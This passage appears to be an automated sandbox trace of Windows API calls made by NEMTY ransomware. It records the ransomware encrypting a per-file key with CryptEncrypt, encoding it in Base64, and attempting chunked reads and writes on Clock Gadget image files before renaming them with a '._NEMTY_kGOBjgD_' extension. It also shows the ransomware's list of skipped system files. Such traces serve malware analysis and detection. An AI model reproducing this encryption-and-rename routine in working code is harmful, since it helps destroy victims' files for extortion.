hHeap=0x4f90000) returned 1 [0121.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0121.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0121.288] Sleep (dwMilliseconds=0x5) [0121.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbf308b0, dwHighDateTime=0x1d561e7)) [0121.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbf308b0, dwHighDateTime=0x1d561e7)) [0121.303] GetLastError () returned 0x5 [0121.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.303] GetLastError () returned 0x5 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.304] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0121.304] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="/bx8kDddd/bgRz97M/ilyNH3aAPBsgTt/ogF0kCLUM9ll944AJmi0sz5MU26cVig\r\nf9F7UfTM2vGZtNad4DeTlSnPgRld/jaxp8vyN5bKbYddizoYzniuuZ7gni0XhuZK\r\nawmKLCvlKN+BrSJKhux+lB1DCYJpuUBqYOt3mToL/zUoyVwDMGTWAKaKMHCfnyRe\r\nfnNFEIxWnSzyzudKo0ZHADhJY7XuGdngaOkbalef9eNGEuMjzDdOr7qwLkL3dOlx\r\n+5siYVCBgbBnDV6TjoPiGId8x2SshMkEymKyt49mHvQmVsXatK8ImV0Cheo1mPfG\r\nNkS+quiKaDJnG70LammEeQ==\r\n", pcchString=0x653e91c) returned 1 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.304] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.304] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.409] CloseHandle (hObject=0xffffffff) returned 0 [0121.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0121.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0121.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0121.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png._nemty_kgobjgd_")) returned 0 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.410] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2=".") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="..") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="...") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="windows") returned -1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="$RECYCLE.BIN") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="rsa") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="NTDETECT.COM") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="ntldr") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="MSDOS.SYS") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="IO.SYS") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="boot.ini") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="boot.ini") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="ntuser.dat") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="desktop.ini") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="CONFIG.SYS") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="RECYCLER") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="BOOTSECT.BAK") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="bootmgr") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="programdata") returned 1 [0121.410] lstrcmpiW (lpString1="square_m.png", lpString2="appdata") returned 1 [0121.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_m.png", lpUsedDefaultChar=0x0) returned 12 [0121.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_m.png", lpUsedDefaultChar=0x0) returned 12 [0121.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_m.png", lpUsedDefaultChar=0x0) returned 12 [0121.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_m.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_m.png", lpUsedDefaultChar=0x0) returned 12 [0121.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0121.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0121.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0121.411] Sleep (dwMilliseconds=0x5) [0121.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc03b250, dwHighDateTime=0x1d561e7)) [0121.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc03b250, dwHighDateTime=0x1d561e7)) [0121.414] GetLastError () returned 0x5 [0121.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.414] GetLastError () returned 0x5 [0121.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.414] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0121.414] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="1BveYqi3v8FHZ38zX14+2PnjiaAqT5MOaNYDr47fZwUiDhLVlr8odPF+o0fXFDuu\r\ni5FU/rjQQ04miXJan7emc1w+XW5Iw3ZambB+HaqWT25m6x3xp0Vai8hnFIFS/uM+\r\nMgxlYwbxAyNKC5Jp81fTUFD1AdsiLaNfKc9nsT54Wp1wWpAE1udfcOXJU6xWCh9s\r\nfc2KNIF4ZFSe420eylbL6JpJ7QBJcT8Pik5x1p5MixsLIKS/rfV2kJzxOMdvDcVY\r\nWkSO1tXP0L19f2Ot49a0xg0ccKvVx/cfKLhKPASd/GJJh9fyAT7h9DF1xEl/GDa5\r\nYDjSkBzcUQEpmaQHNsaRhQ==\r\n", pcchString=0x653e91c) returned 1 [0121.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0121.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.415] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 